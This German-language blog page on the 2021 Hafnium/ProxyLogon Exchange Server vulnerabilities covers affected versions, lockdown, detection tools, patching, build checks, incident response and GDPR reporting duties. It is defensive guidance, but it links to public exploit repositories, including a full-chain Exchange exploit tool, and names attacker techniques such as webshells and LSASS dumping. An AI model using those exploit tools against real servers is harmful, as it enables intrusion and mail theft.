Hafnium Exploit
Am 2. März 2021 hat Microsoft gleich mehrere Exploits in Exchange gemeldet, die angeblich von einer "Hafnium" getauften Gruppe aktiv ausgenutzt werden.
Achtung: April 2021 Updates ersetzen die Hafnium Updates. Siehe Pwn2Own 2021
Hafnium Nachbereitung - Was wir aus Hafnium lernen, nachprüfen und verbessern sollten.
Seit 16.3.2021 gibt es mit dem Exchange
2016 CU20 und Exchange 2019 CU9 eine aktuelle Version
inklusive Security Update und anderen Bugfixes.
Updates für Exchange 2019
und
Updates für Exchange 2016
Aus aktuellem Anlass bieten wir
eine weitere Net at Work Hafnium Sprechstunden
in Form eines öffentlichen Teams-Meeting an
Weitere Termine werden auf
https://www.netatwork.de/selbst-gehostete-exchange-server-zero-day-angriffe/
veröffentlicht.
Sprechstunde verpasst? Ich habe die
Informationen vom Stand 10.3.2021 für euch eingesprochen
https://youtu.be/dmH5-lVCjwk
Der dazu verwendete Foliensatzes
hafnium-prechstunde.20210310.pdf (Verwendet bei der Net
at Work Sprechstunde)
hafnium-sprechstunde.20210318.pdf (Verwendet
(korrigiert) beim MBUF Meeting
https://mbuf.de/)
Ist es wirklich schlimm? - JA!
Wenn ihr Exchange Server per HTTP/HTTPS aus dem Internet erreichbar ist, dann ist es die Kombination von vier CVEs, die ihr Problem sind:
Schon das Lesen bzw. Export beliebiger Mails ist für viele Firmen ein ernstes Problem, da damit Firmengeheimnisse exportieren werden können und Erpressungen folgen. Viel kritischer ist die komplette Übernahme des Servers über eine Webshell, die der Angreifer selbst installieren und die man von extern weitere Aktionen auslösen kann. Der Angreifer hat dabei wohl die Berechtigungen "LocalSystem" und "ExchangeTrustedSubsystem". Auch wenn die Berechtigungen von Exchange und einem Computer noch kein "Domain Admin" sind, so ist das Schadpotential sehr hoch. Die Webshell ist aber ein Sprungbrett in ihr LAN mit privilegierten Rechten, Dump von LSASS oder Einsatz von Mimikatz.
Aus meiner Sicht ist Gefahr in Verzug und sie sollten umgehend ihre Server auf das aktuelle CU bringen und das Updates installieren. Wenn Sie dies nicht können, dann sollten Sie umgehend die Erreichbarkeit aus dem Internet mit einer Pre-Authentication versehen und anonyme Zugriffe unterbinden. Das bricht allerding Anmeldungen per OAUTH, z.B. Exchange Hybrid Free/Busy und ist kein Schutz, dass ein authentifizierter Benutzer dann die Lücken ausnutzt oder es weitere Lücken gibt.
Für das Security Update vom Vormonat gab es kurz danach schon ein Sample.
- Exploit Sample für 2021-24085 (Feb 2021
Security Update)
https://GitHub.com/sourceincite/CVE-2021-24085 - Proxy-Attackchain - proxylogon,
proxyshell, proxyoracle, proxytoken,
CVE-2021-42321 Deserialization RCE full
chain exploit tool
https://GitHub.com/FDlucifer/Proxy-Attackchain
Für die aktuellen Probleme habe ich den Eindruck, dass verschiedene Gruppen schon einen Code haben, denn ich sehe immer mehr unterschiedliche Payloads, die nichts mit dem ersten Angriffen zu tun haben. Mögliche Opfer gibt es ja wohl genug. Mittlerweile findet wohl ein Wettrennen statt, welche Webseite die höheren Serverzahlen abschätzt.
- Warning the World of a Ticking Time Bomb
https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/
Hundertausende Server und 30.000 Organisationen - 130.000 angreifbare Server
https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/
- BSI Statistik: Stand 16. 3. 2021
Quelle BSI Twitter, Arne Schönbohm, Präsident des Bundesamts für Sicherheit in der Informationstechnik https://twitter.com/ArneSchoenbohm/status/1372203599657336836
(Grafik wurde etwas umformatiert und das falsche Jahr (2020 statt 2021) korrigiert
Angreifbar sind alle Exchange Server, die per HTTP erreichbar und nicht aktuell gepatched sind:
Exchange Version | Status |
---|---|
2013-2019 |
Alle Versionen sind gleichermaßen betroffen und ohne das Update schutzlos.
|
2010
|
Exchange 2010 hat nur die Lücke CVE-2021-26857 und diese ist nur mit Authentifizierung nutzbar. Angreifer müssen über andere Wege gültige Anmeldedaten besitzen, damit sie die Lücke nutzen können. Daher gibt es ein Update auch für diese Exchange Version, obwohl das Supportende schon im Oktober 2020 abgelaufen ist.
|
Exchange Online
|
Laut Scott Schnoll (Microsoft) war Exchange Online nicht verwundbar. |
2003
|
Laut Microsoft nicht betroffen. Quelle: https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/ |
Mittlerweile haben auch die üblichen staatlichen Stellen entsprechende Warnungen veröffentlicht:
Microsoft Exchange Schwachstellen
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858,
CVE-2021-27065 Detektion und Reaktion
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf?__blob=publicationFile&v=3
BSI: Mehrere Schwachstellen in MS
Exchange
https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-197772-1132.pdf?__blob=publicationFile&v=4
Update: MS Exchange Schwachstellen - Infos
und Hilfestellungen | BSI
https://www.youtube.com/watch?v=QcqRRc-VoB0
- CISA Issues Emergency Directive and
Alert on Microsoft Exchange Vulnerabilities
https://us-cert.cisa.gov/ncas/current-activity/2021/03/03/cisa-issues-emergency-directive-and-alert-microsoft-exchange - Emergency Directive 21-02 : Mitigate
Microsoft Exchange On-Premises Product
Vulnerabilities
https://cyber.dhs.gov/ed/21-02/ - US-CERT: [CIS2021a] CISA Alert
(AA21-062A) Mitigate Microsoft Exchange
Server Vulnerabilities
https://us-cert.cisa.gov/ncas/alerts/aa21-062a
Was muss ich tun?
In den ersten Tagen der Seite habe ich zuerst das "Update" beschrieben. Diese Reihenfolge habe ich nun geändert. wir sind viele Tage weiter und die Anzahl der infizierten Exchange Server dürfte noch weiter steigen, da es immer noch viele Administratoren aber auch Dienstleister leider das Problem nicht aktiv angehen. Ich gehe heute davon aus, dass ein Server kompromittiert ist und wenn der Angreifer die richtige Werkzeuge eingesetzt hat, dann ist nicht nur dieser eine Server betroffen sondern auch andere Systeme oder ihr Active Directory nicht mehr als "vertrauenswürdig" anzusehen. Mein Vorschlag.
- Lockdown
Verhindern Sie, dass der Exchange Server aus dem Internet erreichbar ist oder Verbindungen ins Internet aufbauen kann. Sichern Sie aber auch Protokolle, ehe sie gelöscht oder überschrieben werden. Isolieren Sie den Server auch gegen interne Systeme. Malware versucht auch ihre anderen Server zu kompromittieren. Im einfachsten Fall haben sie den lokalen Administrator und trennen Exchange vom Netzwerk. Notfalls sollten Sie auch andere Server vom Netzwerk nehmen, bis Sie ihren Exchange Server gesichert und bewertet haben. - Analyse
Prüfen Sie ihre vorhandenen Logs, ob ein Einbruch stattgefunden hat. Die Nutzung der Lücke ist über Einträge im IISLog erkennbar, wenn die Angreifer die Logs nichts verändern. Auch die installierten Programme und Hintertüren werden oft, aber nicht immer, von aktuellen Virenscannern gefunden. Abhängig vom Ergebniss müssen Sie eine vielleicht unbequeme Entscheidung treffen. - Bereinigung, Patchen ggfls. Neuaufbau
Entfernen Sie die installierten Hintertüren und verhindern Sie eine Neuinfektion durch Installation der Updates. Es kann sein, dass das Update sich nicht installieren lässt. Diverse Angreifer verändern z.B. NTFS-Berechtigungen, um die Installation der Updates zu blockieren, damit ein weniger versierter Admin es nicht bemerkt oder entnervt aufgibt. - Weitere Analyse
Speziell wenn sie die bestehende Umgebung weiter benutzen, müssen sie wachsam sein und möglichst viel in Erfahrung bringen.
Die Abschnitte im Detail:
Server Lockdown
Das Einfalltor sind die Exchange Webdienste und als allererste Schutzmaßnahme hat Microsoft URL-Rewrite-Regeln beschrieben, mit denen die Zugriff geblockt werden können.
Implement an IIS Re-Write Rule and
disable Unified Messaging (UM), Exchange Control Panel (ECP)
VDir, and Offline Address Book (OAB) VDir Services
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/
Ich würde diesen "Fix" nur dann anwenden, wenn sie wirklich den Security Batch nicht installieren können. Microsoft führt "ActiveSync" nicht auf, aber in einer BSI-Mitteilung vom 6.3 sind auch ActiveSync "und andere Dienste" mit aufgeführt.
Verhindern sie zuerst, dass der Exchange Server
aus dem Internet per HTTP erreichbar ist.
Blockieren sie
auch ausgehende Verbindungen vom Exchange Server, solange
sie den Status ihres Servers nicht kennen
Sichern Sie Protokolle (Eventlog, IISLog, CASLog, Firewall,
etc. gegen löschen/überschreiben bis die
Analyse abgeschlossen ist. Die Analyse kann je nach Anzahl
der Server und Größe der Logdateien durchaus länger dauern.
Aktion | Check |
---|---|
Blockieren Sie eingehenden HTTP-VerkehrSie können auf der externen Firewall den Zugriff auf Port 443 ihres Exchange Servers unterbinden. Wenn Sie einen Reverse Proxy oder Loadbalancer einsetzen, können Sie dies auch dort machen |
|
Blockieren sie ausgehenden VerkehrDie Angreifer nutzen remote Shells, um eine Verbindung nach außen aufzubauen und über einen Shell interaktiv Befehle auszuführen oder Malware nachzuladen. Ihr Exchange Server sollte auch nicht mehr "Surfen" (HTTP-Proxy) dürfen, auch wenn das die weitere Fehlersuche erschwert. So verhindern sie auch "Betrachter" und verhindern, dass jemand ihre Eingaben auf dem Server mitschneidet oder Prozess per DUMP ausleitet. |
|
Isolieren Sie ihren Exchange ServerWenn Sie den Verdacht haben, dass der Server kompromittiert wurde, dann sollten Sie die Exchange Dienste beenden und den Server isolieren. Notfalls tut es auch eine DENY-Regel auf der Windows Firewall |
Auf Einbruch prüfen!
Die Lücke ist ja schon länger vorhanden und wurde im Dezember von DEVCORE (https://proxylogon.com/) zuerst gemeldet und am 6. Jan von der Firma Volexity bei einem Kunden im Rahmen der Überwachung (Intrusion Detection) von Netzwerkverkehr entdeckt. Wie lange die Angreifer aber die Lücke schon kennen, ist nicht bekannt. Die Angreifer werden bis zur Entdeckung vermutlich nur interessante und lohnenswerte Ziele angegriffen haben. Erst im Februar hat wohl die Anzahl der Infektionen zugenommen und mit der Veröffentlichung der Lücke und entsprechender Updates am 2. März 2021 wird es aber immer weniger verwundbare Installationen geben. Also dürften die Angreifer ihre Werkzeuge gegen die Masse einsetzen.
Aktion | Check |
---|---|
MSERT.EXEDiese Werkzeug nutzt die aktuellsten Defender-Pattern-Dateien um bekannte Malware zu entfernen. Es ist kein 100% Schutz, da mittlerweile andere Angreifer angepasste Schadsoftare einsetzen. Da ihr Exchange Server hoffentlich nicht surfen kann, müssen Sie die Datei auf einem anderen Client herunterladen und auf den Server übertragen. Nutzen sie immer die aktuellste Version.
Microsoft Safety Scanner (MSERT.EXE)
Achtung: |
|
Test-ProxyLogon.ps1Diese Skript enthält früher als Einzelskripte verteilte Tools zur Analyse ihres Server. Es durchsucht ihre IISLogs, Eventlogs und Verzeichnisse nach Spuren der Hafnium-Gruppe. Auch hier sollten sie immer die aktuellste Version nutzen.
Test-ProxyLogon.ps1 (Formerly known as Test-Hafnium, this
script automates all four of the commands) Es findet recht zuverlässig die ersten Angriffe über "CVE-2021-26855", die recht zuverlässig einen Einbruch kennzeichnen. How to run the GitHub script for the
Hafnium vulnerability Es findet aber auch False-Positive, z.B. ZIP-Dateien von Symantec, McAfee, u.a. in ProgramData. Hier müssen sie genauer hinschauen. Achtung: Diese Skripte prüfen ihre HTTP-Logs. Wenn Sie diese Dateien automatisiert löschen, dann kann das Skript nicht finden. Sie sollten im ersten Lauf die Logs vom 2. März an durchsuchen. Aber eine Suche seit Nov 2020 ist ratsam. |
|
EOMT - Exchange On-Premises Mitigation ToolAuch dies ist primär ein PowerShell-Script, welches über URL-Rewrite den ausgenutzten Angriffsvektor unterbindet aber kein Ersatz für das Update ist. Zudem führt er verschiedene Tests und Scans durch und dreht Veränderungen von Angriffen zurück. Das Tool kann nur die Malware erkennen, die Microsoft hinterlegt hat. In der ersten Woche der Angriffe war das sehr hilfreich aber mittlerweile ist die Payload sehr variabel und aus meine Sicht ist EOMT nur ein erster Baustein einer Analyse.
Download
|
|
3rd Party VirenscannerSie verhindern in der Regel nicht ein Einbruch aber können viele vom Angreifer abgelegte "unerwünschte Programme" erkennen. Prüfen Sie das Log dieser Scanner auf allen Servern und kontrollieren sie die Ausschlusslisten, damit auch "fast" alles gescannt wird. Auch das Ansehen der Virenscanner hat stark gelitten, da die oft versprochene "Verhaltenserkennung" nach nicht Schreibzugriffe in Webserver-Verzeichnisse erkennt und eine WebShell von 2012 von keinem Patternfile verhindert wurde. Was passiert eigentlich, wenn bei einem Autounfall der Airbag nicht auslöst hinsichtlich Produkthaftung? |
Mit dem Ergebnis dürfen Sie dann ihre Entscheidung fällen. Wenn ihr Server glücklicherweise noch nicht infiziert wurde, dann sollten Sie umgehend patchen und sich freuen mit einem blauen Auge davon gekommen zu sein.
Wenn es aber "Treffer" gibt, dann hat sich höchstwahrscheinlich eine unbekannte Institution oder Person auf ihrem Server bewegt, Dateien hochgeladen und per Webshell Befehle abgesetzt. Das wird vermutlich kein neugieriger Besucher gewesen sein, der alleine wieder gegangen ist. Vielleicht ist es sogar noch aktiv, wenn Sie den Zugang nicht gut genug geblockt haben.
Angeblich scannt das BSI nach solchen Servern und spricht die Provider zu den IP-Adressen an, damit diese den Kunden ansprechen. Also wenn ich den Domainnamen eines Exchange Servers kenne, dann sollte die Ermittlung des "Kunden" samt Kommunikation doch schnell möglich sein. Vermutlich wäre es strafbar, wenn man aus der Ferne den Server "zur Sicherheit" per Webshell herunterfährt.
- HAFNIUM targeting Exchange Servers with
0-day exploits - Can I determine if I have
been compromised by this activity?
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log
Security Scripts
https://GitHub.com/microsoft/CSS-Exchange/tree/main/Security
Weitere Skripte
Microsoft hat entsprechende Erkennungen auch in das Produkt "Microsoft Defender for Endpoint" eingebaut. Wenn Sie ihren Exchange Server mit diesem AV-Scanner ausgestattet haben, dann sollte er auch Infektionen erkennen und verhindern, zumindest solange die Angreifer ihre Methoden nicht ändern. Dies ist also nicht unbedingt sicher. Auch andere 3rd Party AV-Scanner werden sicher bald solche Dateien finden.
Es wirft natürlich ein schlechtes Licht auf diese "Schutz"-Produkte, wenn kein einziger Hersteller im Jahr 2021 eine Malware in Form einer Webshell erkennt, die schon 2012 bei Angriffen verwendet wurde.
Patchen
Gehen wir nun davon aus, dass die entweder noch nicht betroffen sind oder ihre Analyse und Risikoabschätzung den Weiterbetrieb ihres Netzwerk und Active Directory als ein "tolerierbares Restrisiko" bedeutet, dann geht es nun die Installation der Updates.
Egal ob sie schon betroffen sind oder nicht: Niemand sollte beim Update dazwischenfunken. Daher: Zugriff unterbinden, IIS beenden.
Wann immer möglich, sollten sie die Betriebsunterbrechung direkt zum Update des Servers nutzen. Es gibt nur wenige Ausnahmen, wo dies nicht möglich ist, z.B. wenn ihr Forest Functional Level nicht angehoben werden könnte. Sie sollten das Security Update auch per "Windows Update" das Security Update "KB5000978" angezeigt bekommen. Eventuell muss ihr WSUS-Administrator das Update erst freigeben. Wenn der Server nicht auf das Internet zugreifen kann, können Sie die Updates auch eigenständig herunterladen.
Aktion | Check |
---|---|
VersionsbestimmungPrüfen Sie die aktuelle Version ihres Exchange Servers. Entscheiden Sie, ob sie das aktuelle CU mit dem Sicherheitspatch absichern oder ob sie das CU erst aktualisieren. Sie müssen mittlerweile nicht mehr das aktuellste CU vorher installieren, da für einige ältere CUs ebenfalls entsprechende Updates bereitstehen. Wenn Sie aber später dann doch ein schon veröffentlichtes neueres CU installieren, dann müssen Sie das dazu passende Security Updates noch nachinstallieren. Ein CU-Update dauert aber länger und kann weitere Abhängigkeiten (.NET Framework, AD-ForestMode etc.) haben, die den Prozess verzögern.
|
|
Download des passenden UpdatesDie Links finden sie in dem folgenden Artikel.
KB-Artikel mit direkten Links zu allen Updates |
|
Reboot vor UpdateMicrosoft empfiehlt dringend einen Neustart vor der Installation. Es kann durchaus sein, dass Dateien auch nach dem Beenden von Exchange Diensten weiterhin geblockt sind und das Update daher fehlschlägt. |
|
Installation des Security UpdateDas Security Update patched nur die Lücken aber sonst keine anderen Komponenten. Es ist daher relativ schnell fertig. Die Dauer der Installation hängt von der Performance ihres Servers ab. Der Server ist in der Zeit nicht für die Anwender erreichbar, da die Dienste am Anfang beendet und erst am Ende wieder gestartet werden. Wer einen Cluster (DAG) hat, kann die Knoten nacheinander geordnet offline nehmen. Wenn der Exchange Server erst auf den aktuellen CU/RU-Stand gebracht werden muss, dann sollten Sie die Abhängigkeiten zum NET-Framework beachten. Sie können aber durchaus direkt auf die aktuellste Version gehen, wenn Sie ein paar Vorbedingungen beachten. Hinweis mit UAC: Achtung:
|
|
Neustart des ServersDas Security Update fordert nicht immer ein Neustart aktiv an. Er ist aber erforderlich. |
Danach sollte ihr Server "geschützt" sein. Wenn Sie zudem die Verbindung nach extern unterbunden haben, sollte der Angreifer auch keinen Zugriffe mehr haben.
Kontrolle der Installation
Ob der Patch installiert ist oder nicht, können Sie leider nicht einfach per PowerShell ermitteln. Bei mir liefert folgende Zeile immer noch 2176.2 statt 2176.9.
Mit dem Security Update Juli 2021 hat Microsoft endlich einen offiziellen Weg zur Ermittlung der aktuell installierten Version veröffentlicht. Siehe Verifikation auf Patchday Jul 2021
Beachte dazu auch Exchange Build Nummer ermitteln
# Diese Abfrage liefert nicht ausführliche Informationen [PS] C:\>Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion Name : EX16 Edition : Standard AdminDisplayVersion : Version 15.1 (Build 2176.2)
Die gleiche Antwort bekomme ich bei einer "Probe" per Invoke-Webrequest (PowerShell 7.1 erforderlich für die "-Skip"-Parameter):
$owalogin=(Invoke-WebRequest https://owa.netatwork.de/owa/auth/logon.aspx -SkipHttpErrorCheck -SkipCertificateCheck) $owalogin.Content.Substring($owalogin.Content.IndexOf('<link rel="shortcut icon" href="/owa/auth/')+42,16).split("/")[0] 15.1.2176
Auch eine Kontrolle des SMTP-Headers eine Mail liefert keine Informationen.
Received: from hybrid.msxfaq.de (192.168.80.3) by hybrid.msxfaq.de (192.168.80.3) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.2176.2; Sun, 07 Mar 2021 22:29:42 +0100 Received: from EUR05-DB8-obe.outbound.protection.outlook.com (104.47.17.110) by hybrid.msxfaq.de (192.168.80.3) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.2176.2 via Frontend Transport; Sun, 07 Mar 2021 22:29:42 +0100
Der Transport wurde durch da Updates nicht aktualisiert, so dass ihr Server nun unterschiedliche Buildnummern hat. Ich sehe nur die Hauptversion, die nur Rückschlüsse auf das installierte CU zulässt.
Dennoch ein einfacher Test, um "zu alte" CUs zu erkennen und wird sicher auch von extern überprüft.
Erst ein Blick in die OWA-Struktur oder unter "Systemsteuerung -Programme - Updates" zeigt die neuere Installation:
Die Version 15.1.2176.4 steht CU19, 15.1.2176.4 ist das Security Update KB4602269 vom Feb 2021 und erst 15.1.2176.9 ist das wichtige Update. Sie sehen, dass ich das Update am 3.3 umgehend installiert habe. Folgende Build-Nummern beschreiben die Version mit installiertem Patch:
Die am 16.3 veröffentlichen Komplettinstallationen Exchange 2019 CU9 und Exchange 2016 CU20 enthalten das Security Update. Alle früheren Versionen müssen aktualisiert werden.
Exchange | 2019 | 2016 | 2013 | 2010 SP3 |
---|---|---|---|---|
Aktuell | CU9: 15.2.858.5 |
CU20: 15.1.2242.4 |
|
|
N-0 | CU8: 15.2.792.10 |
CU19: 15.1.2176.9 |
CU23: 15.0.1497.12 |
RU32: 14.3.513.0 |
N-1 | CU7: 15.2.721.13 |
CU18: 15.1.2106.13 |
CU22: 15.0.1473.6 |
|
N-2 |
CU6: 15.2.659.12 |
CU17: 15.1.2044.13 |
CU21: 15.0.1395.12 |
|
N-3 | CU5: 15.2.595.8 |
CU16: 15.1.1979.8 |
|
|
N-3 | CU4: 15.2.529.13 |
CU15: 15.1.1913.12 |
|
|
N-4 | CU3: 15.2.464.15 |
CU14: 15.1.1847.12 |
|
|
N-5 |
CU2: 15.2.397.11 |
CU13: 15.1.1779.8 |
|
|
N-6 | CU1: 15.2.330.11 |
CU12: 15.1.1713.10 |
|
|
N-6 |
RTM: 15.2.221.18 |
CU11: 15.1.1591.18 |
|
|
N-7 |
|
CU10: 15.1.1531.12 |
|
|
N-8 |
|
CU09: 15.1.1466.16 |
|
|
N-9 |
|
CU08: 15.1.1415.10 |
|
|
Microsoft würde keine Updates für diese ganz alten CU-Versionen veröffentlichen, wenn es nicht Kunden mit dieser Basis gäbe. Das ist au meiner Sicht sehr erschreckend, dass über Jahre keine Updates und Bugfixes eingespielt werden.
Kontrollieren sie lieber doppelt, dass das Update installiert ist. Ich hatte schon Kundenserver, bei denen CU19 drauf war und am 3. März wurde dennoch "nur" das Security Update Feb 2021 (KB4602269) installiert.
Irreführende Ausgabe. Aktuellste Version am 3.3. war nicht
das richtige Updates. Also genau hinschauen
Leider kann ich mittel "Get-Hotfix" nur Windows Betriebssystemupdates abfragen und keine Exchange Updates. Alternativ kann ein Blick in die Datei "C:\ExchangeSetupLogs\UpdateCas.log" den letzten Stand zeigen:
[02:43:17] *********************************************** [02:43:18] * UpdateCas.ps1: 03.03.2021 02:43:18 [02:43:24] Updating OWA/ECP on server EX16 [02:43:24] Finding ClientAccess role install path on the filesystem [02:43:25] FixUnversionedFolderAfterUpgrade: Found source versions: 15.1.2176.2 15.1.2176.4 [02:43:25] FixUnversionedFolderAfterUpgrade: Recovering files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\prem\15.1.2176.2' to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\Current2\version' where necessary [02:43:57] FixUnversionedFolderAfterUpgrade success [02:43:57] Updating owin:AutomaticAppStartup binding redirect to true [02:43:57] Updating owa handlers [02:43:57] Web.config file already had a node for: userbootsettings.ashx [02:43:57] Web.config file already had a node for: MeetingPollHandler.ashx [02:43:58] Updating Microsoft.Owin binding redirect [02:43:58] Updating Microsoft.Owin.Security binding redirect [02:43:58] Trying to add clients common module to Web.config file [02:43:58] Updating OWA to version 15.1.2176.9 [02:43:58] Copying files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\Current' to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\15.1.2176.9' [02:43:58] Update OWA done. [02:43:58] Updating OWA to version 15.1.2176.9 [02:43:58] Copying files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\Current2\version' to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\prem\15.1.2176.9' [22:45:27] Update OWA done. [22:45:28] Updating ECP to version 15.1.2176.9 [22:45:28] Copying files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\Current' to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\15.1.2176.9' [22:45:30] Update ECP done.
Leider "entfernt" Microsoft bei der Installation eines Updates die vorherigen Versionen von OWA nicht, da es ja immer noch "Backend-Server" mit älteren Versionen geben kann. Das ist aber kein Problem, wenn alle Server aktuell sind.
Achtung:
Auch nach der Installation der Updates sind ihre Server zwar
geschützt aber Schadcode könnte noch aktiv sein. Ein
erneuter Scan mit MSERT u.a. ist wichtig und sie sollten
dies auch wiederholen. Damit kommen wir aber in Richtung
"sicherer Betrieb"
Wenn Sie eh grade am Server arbeiten, dann können Sie auch noch einmal den HealthChecker durchlaufen lassen:
-
Exchange HealthChecker
Powershell Script vergleich Exchange On-Premises Grundeinstellungen mit Microsoft Empfehlungen
Was tun bei erkanntem Einbruch?
Stellen Sie sich vor, sie haben eine PowerShell auf einem Server mit "LocalSystem" und "ExchangeTrustedSubsystem" in einem fremden Netzwerk und sie haben kriminelle Energie. Was könnten sie alles anstellen? Ziemlich viel und auf ziemlich vielen Servern.
Es reicht nicht, den Server zu patchen und erkannte Webshells entfernen zu lassen. Sie wissen ja nicht genau, was der Angreifer sonst noch gemacht hat.
- Welche Befehle wurden per Webshell
ausgeführt?
Diese können Sie vielleicht im IISLog als Parameter finden. Exchange Commandlets werden im Exchange Management Eventlog protokolliert. - RemoteShell
Wenn der Angreifer aber zusätzlich eine RemoteShell starten konnte, die auch noch eine ausgehende Verbindung aufbauen konnte, dann wird es schwer. Vielleicht finden Sie auf der Firewall Hinweise auf ungewöhnliche ausgehende TCP-Verbindungen des Exchange Servers. Die Shell kann aber auch HTTPS oder UDP nutzen. - Zugriff auf andere Server
PowerShell und auf Servern eh vorliegende Tools (WMIC.EXE etc.) sind nicht auf lokale Server beschränkt. Jedes andere System in ihrem LAN ist potentiell betroffen. Wie gut war noch mal das Kennwort auf ihrer Firewall, auf ihrem NAS? - Exchange Server
Sie müssen gar nicht weit gehen. Wenn der Angreifer ihre Exchange Konfiguration verändert hat, um auch nach dem Security Updates weiter Zugriff zu haben, dann hilft nur Suchen. Er könnte einen Dump von LSASS ausgeleitet habe und damit an weitere Credentials kommen. Selbst ein Keylogger als Treiber oder ein Proxy-Server der ein eigenes Root-Zertifikat installiert um SSL aufzubrechen ist denkbar oder ein "geplanter Task", der irgendwann in der Zukunft zuschlägt. - Active Directory
Welche Objekte wurden denn in letzer Zeit angelegt, welche Gruppenmitgliedschaften verändert oder Berechtigungen erweitert, die sie nicht erklären können? - Logging
Auf jeden Fall sollten sie die Protokollierung ihrer Systeme anheben und nicht nur in nächster Zeit genauer hinhören. Aber das sollten Sie schon länger machen.
Ohne Sichtung der hoffentlich vorhandenen Protokolle sind keine Aussagen möglich und selbst dann bleit immer ein Restrisiko.
Eigentlich hat das Gesamtsystem als kompromittiert zu gelten. Es kann keine allgemein gültige Empfehlung geben, den Sie wissen ja nicht, wie tief der Angriff war und welche "Hinterlassenschaften" in ihrem System zu finden sind.
Das ist um so wahrscheinlicher, je später sie ihr System gepatcht. haben. Ich möchte keine Panik schüren aber solche Angriffe erfolgen automatisiert und sind per Skript gesteuert. Es ist daher wahrscheinlich, dass alle betroffenen Systeme ähnliche Aktionen durchlaufen haben, wie diese in folgendem Video vorgestellt werden.
Analysis - Post-Exploitation from Microsoft Exchange HAFNIUM
https://www.youtube.com/watch?v=rn-6t7OygGk
Analyse eines Exchange Servers und was die Angreifer per
WebShell angestellt haben könnten.
Es bleibt also ein Restrisiko, ob sie die bestehende Installation einfach reparieren und weiter betreiben oder ob sie tatsächlich einen kompletten Neuaufbau ihres Forest in Angriff nehmen (Greenfield). Für den zweiten Schritt brauchen Sie aber viele Hände und eine sehr gute Argumentation gegenüber dem Firmeninhaber bezüglich der Kosten. Ein Weiterbetrieb der vielleicht geheilten Umgebung ist aber mit Mehrkosten verbunden. Zuerst würde ich alle Kennwort ändern und ein KRBTGT Key Rollover durchführen. Zudem sollten sie die Sicherheit deutlich hochschrauben, Virenscanner auf jedem Server ohne Ausnahme und Firewalls, Prozesse, Netzwerkverkehre etc. überwachen, um mögliche inneren Schädlinge zu erkennen.
Niemand kann ihnen einen Freibrief ausstellen, dass ihr Gesamtsystem nach einer "Bereinigung" mit MSERT sicher weiter betrieben werden darf. Aber das konnte vorher auch niemand. Sicherheit ist kein Zustand sondern ein Prozess.
Für einige Firmen wird so eine Infektion auch ein Weckruf sein, Berechtigungen feiner zu vergeben, die Rolle des Domain-Administratoren auf notwendige Aktionen zu reduzieren, Firewalls "strenger" einzustellen, Security-Patches schneller zu installieren und generell das Thema Protokollierung auszuweiten. Wobei dies wieder Diskussionen mit Betriebsräten und Datenschützern bedeutet. Denn jedes Log kann auch zweckentfremdet werden.
Beachten Sie dazu auch die Seite Hafnium Nachbereitung
DSGVO Vorfall / Strafanzeige / Cyber-Versicherung
Es gibt aber noch ein weiterer Aspekt: Nehmen Sie mal an, dass ihre Firma ein Ziel war, dann könnten auch Mails, Kontakte und Termine von Anwendern ausgeleitet worden und nun im Besitz des Angreifer sein.
Risiko\Pflichten | Beispiel | Internet
Dokumentationspflicht Art 33 Abs 5 DS-DVO |
Meldepflicht an
Aufsichtsbehörde Art 33 Abs 1 DS-DVO |
Benachrichtigungspflicht
an Personen Art 34 Abs 1 DS-DVO |
---|---|---|---|---|
Kein oder geringes Risiko |
OAB-Zugriff |
Ja! |
Nein |
Nein |
Risiko |
Export von Postfächern, Ausleitung großer Datenmengen |
Ja! |
Ja! |
Nein |
Hohes Risiko |
Daten enthalten auch Kundendaten, Kennwort |
Ja! |
Ja! |
Ja! |
IT-Dienstleister und Auftragsdatenverarbeiter müssen gegenüber ihren Kunden ggfls. weitere Informationspflichten erfüllen. Vom "Bayerisches Landesamt für Datenschutzaufsicht " gibt es zumindest schon mal eine Handreichung vom 9 März 2021
Für Unternehmen, die bis jetzt (9. März
2021, Frank Carius) untätig geblieben sind, gehen wir von
einer meldepflichtigen Datenschutzverletzung aus.
Verantwortliche, die dieser Aufgabe bislang nicht
nachgekommen sind, trifft .....unabhängig von weiteren
Befunden die Verpflichtung, die Sicherheitslücke als
Schutzverletzung binnen 72 Stunden zu melden.
Das BayLDA hat dafür in einem ersten Prüflauf am 08.03.2021 stichprobenartig 16.502 bayerische Systeme auf ihre
mögliche Verwundbarkeit untersucht
... im ersten Prüflauf wurde eine dreistellige Zahl potentiell verwundbarer Server identifiziert...
...Das BayLDA beabsichtigt nach der ersten Information der
Unternehmen weitere Prüfläufe ...
Quelle: Bayerisches Landesamt für
Datenschutzaufsicht : Sicherheitslücken bei Microsoft
Exchange-Mail-Servern: Akuter Handlungsbedarf für bayerische
Unternehmen - BayLDA empfiehlt: Patchen, prüfen, melden! -
https://www.lda.bayern.de/media/pm/pm2021_01.pdf
